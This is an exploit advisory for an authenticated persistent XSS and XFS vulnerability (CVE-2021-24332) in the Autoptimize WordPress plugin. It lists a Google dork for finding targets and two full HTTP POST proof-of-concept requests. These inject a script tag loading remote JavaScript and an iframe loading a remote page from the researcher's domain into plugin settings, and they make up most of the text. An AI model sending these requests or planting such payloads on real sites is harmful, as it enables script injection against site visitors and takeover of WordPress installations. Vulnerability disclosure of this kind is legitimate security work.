/*! - # VULNERABILITY: Autoptimize WordPress Plugin <= 2.8.3 - Authenticated Persistent XSS & XFS - # GOOGLE DORK: inurl:/wp-content/plugins/autoptimize/ - # DATE: 2021-04-01 - # SECURITY RESEARCHER: m0ze [ https://m0ze.ru ] - # VENDOR: Frank Goossens [ https://autoptimize.com ] - # SOFTWARE VERSION: <= 2.8.3 - # SOFTWARE LINK: https://wordpress.org/plugins/autoptimize/ - # CVSS: AV:N/AC:L/PR:H/UI:N/S:C - # CWE: CWE-79 - # CVE: CVE-2021-24332 */ ### -- [ Info: ] [i] An Authenticated Persistent XSS & XFS vulnerabilities was discovered in the Autoptimize plugin through v2.8.3 for WordPress. [i] Vulnerable parameter(s): $ao_css_defer_inline (autoptimize/classes/autoptimizeCriticalCSSSettings.php:314), $key (autoptimize/classes/critcss-inc/admin_settings_key.php:46). ### -- [ Impact: ] [~] Malicious JavaScript code injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource. ### -- [ Payloads: ] [$] m0ze [$] m0ze ### -- [ PoC #1 | Authenticated Persistent XSS & XFS | JS, CSS & HTML > Inline and Defer CSS: ] [!] POST /wp-admin/options.php HTTP/2 Host: example.com Cookie: [admin cookies] User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 494 option_page=autoptimize&action=update&_wpnonce=478b37683d&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dautoptimize&autoptimize_enable_site_config=on&autoptimize_js=on&autoptimize_js_exclude=&autoptimize_css=on&autoptimize_css_defer=on&autoptimize_css_defer_inline=m0ze%3C%2Ftextarea%3E%3Cscript+src%3D%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&autoptimize_css_exclude=&autoptimize_cdn_url=&autoptimize_minify_excluded=on&autoptimize_cache_clean=Save+Changes+and+Empty+Cache ### -- [ PoC #2 | Authenticated Persistent XSS & XFS | Critical CSS > Your API Key: ] [!] POST /wp-admin/options.php HTTP/2 Host: example.com Cookie: [admin cookies] User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 643 option_page=ao_ccss_options_group&action=update&_wpnonce=cdeccd0a90&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dao_critcss&autoptimize_ccss_rules=&autoptimize_ccss_queue=&autoptimize_ccss_viewport%5Bw%5D=&autoptimize_ccss_viewport%5Bh%5D=&autoptimize_ccss_finclude=&autoptimize_ccss_rtimelimit=30&autoptimize_ccss_debug=&autoptimize_ccss_noptimize=&autoptimize_css_defer_inline=m0ze%3C%2Ftextarea%3E%3Cscript+src%3D%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&autoptimize_ccss_loggedin=1&autoptimize_ccss_forcepath=1&autoptimize_ccss_key=m0ze%3C%2Ftextarea%3E%3Ciframe+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E%3C%2Fiframe%3E ### -- [ Contacts: ] [+] Website: m0ze.ru [+] GitHub: @m0ze [+] Telegram: @m0ze_ru [+] Twitter: @vladm0ze